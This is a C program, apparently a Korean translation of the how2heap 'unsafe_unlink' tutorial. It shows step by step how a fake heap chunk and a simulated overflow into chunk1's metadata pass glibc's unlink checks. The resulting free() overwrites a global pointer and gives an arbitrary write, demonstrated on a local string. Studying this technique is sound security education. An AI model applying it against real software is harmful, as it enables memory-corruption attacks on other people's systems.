how2heap - unsafe_unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr; int main() { printf("unlink 2.0에 오신것을 환영합니다!\n"); // printf("환경은 우분투 14.04/16.04 64bit\n"); //환 printf("이 기술은 unlink가 가능한 지역에 포인터가 있을 때 사용할 수 있습니다.\n"); // printf("가장 일반적인 시나리오는 오버플로우 취약점과 전역 포인터를 가지고 있는 버퍼입니다.\n"); // int malloc_size = 0x80;//fastbins으로 동작하게 하지 않기 위해 충분한 공간을 줍니다. int header_size = 2; printf("이 연습의 핵심은 free를 사용해 전역 chunk0_ptr를 손상시켜 임의의 메모리를 쓰는것입니다.\n\n"); // chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0 uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1 printf("전역 chunk0_ptr은 %p, %p를 가르킵니다.\n", &chunk0_ptr, chunk0_ptr); // printf("우리가 손상시킬 청크는 %p\n\n", chunk1_ptr); // printf("가짜청크를 chunk0에 생성합니다.\n"); // printf("만든 가짜 청크의 'next_free_chunk'(fd)를 &chunk0_ptr 근처로 설정하여 P-> fd-> bk = P가 되도록 합니다.\n"); // chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); printf("가짜 청크의 'previous_free_chunk'(bk)를 &chunk0_ptr 근처로 설정하여 P->bk->fd = P가 되도록 합니다.\n"); // printf("위 설정으로 다음 검사를 통과 할 수 있습니다 (P->fd->bk != P || P->bk->fd != P) == False\n"); // chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]); printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]); printf("가짜 청크의 'size' 와 다음 청크의'previous_size'가 일치하는지 확인해야 합니다.(fd->prev_size)\n"); // printf("위 설정으로 다음 검사를 통과 할 수 있습니다. (chunksize(P) != prev_size (next_chunk(P)) == False\n");// printf("P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n"); printf("만약 x = chunk0_ptr [1] & (~ 0x7)이면 x = *(chunk0_ptr + x)입니다.\n"); // printf("*(chunk0_ptr + x) = x로 설정하면 체크를 통과 할 수 있습니다.\n"); // printf("1. x = chunk0_ptr [1] & (~ 0x7) = 0, * (chunk0_ptr + 0) = 0을 설정해야합니다. 다시말해 아무것도 안해야 합니다.\n");// printf("2. 64비트에서는 chunk0_ptr = 0x8로 설정하고 *(chunk0_ptr + 0x8) == chunk0_ptr[1]로 설정하면 됩니다.\n");// printf("3. 마지막으로 chunk0_ptr = x를 64비트 env로 설정하고 *(chunk0_ptr+x) = x를 설정할 수도 있습니다. 예를들어 : chunk_ptr0 [1] = 0x20, chunk_ptr0 [4] = 0x20\n");// chunk0_ptr[1] = sizeof(size_t); printf("가짜 청크의 'size'를 chunk0_ptr[-3]으로 설정합니다:0x%08lx\n", chunk0_ptr[1]);// printf("커밋 비교는https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 에서 할수 있습니다.\n\n");// printf("chunk0에 오버플로우가 발생해 chunk1 메타데이터를 바꿀 수 있다고 가정합니다.\n");// uint64_t *chunk1_hdr = chunk1_ptr - header_size; printf("chunk0 (chunk1에서 'previous_size'로 저장)의 크기를 줄여 free가 chunk0이 가짜 청크에서 시작한다고 착각하게 만듭니다.\n");// printf("가짜 청크는 알려진 포인터가 가리키는 곳에서 정확하게 시작되고 그에 따라 청크의 크기를 줄이는 것이 중요합니다.\n");// chunk1_hdr[0] = malloc_size; printf("'정상적으로' chunk0을 free했다면, chunk1의 previous_size는 0x90이었겠지만, 이 값은 새로운 값입니다 : %p\n",(void*)chunk1_hdr[0]);// printf("chunk1의 'previous_in_use'를 False로 설정하여 가짜 청크가 free된 것 처럼 표시합니다.\n\n"); // chunk1_hdr[1] &= ~1; printf("이제 chunk1을 free해 역으로 병합하면 가짜청크가 unlink되어 chunk0_ptr을 덮어 쓰게 됩니다.\n");// printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n"); free(chunk1_ptr); printf("여기서 chunk0_ptr을 덮어씌워 임의의 위치를 가르키도록 할 수 있습니다.\n");// char victim_string[8]; strcpy(victim_string,"Hello!~"); chunk0_ptr[3] = (uint64_t) victim_string; printf("chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 이것을 이용해 victim string에 덮어씌울수 있습니다.\n"); // printf("Original value: %s\n",victim_string); chunk0_ptr[0] = 0x4141414142424242LL; printf("New Value: %s\n",victim_string); } | cs |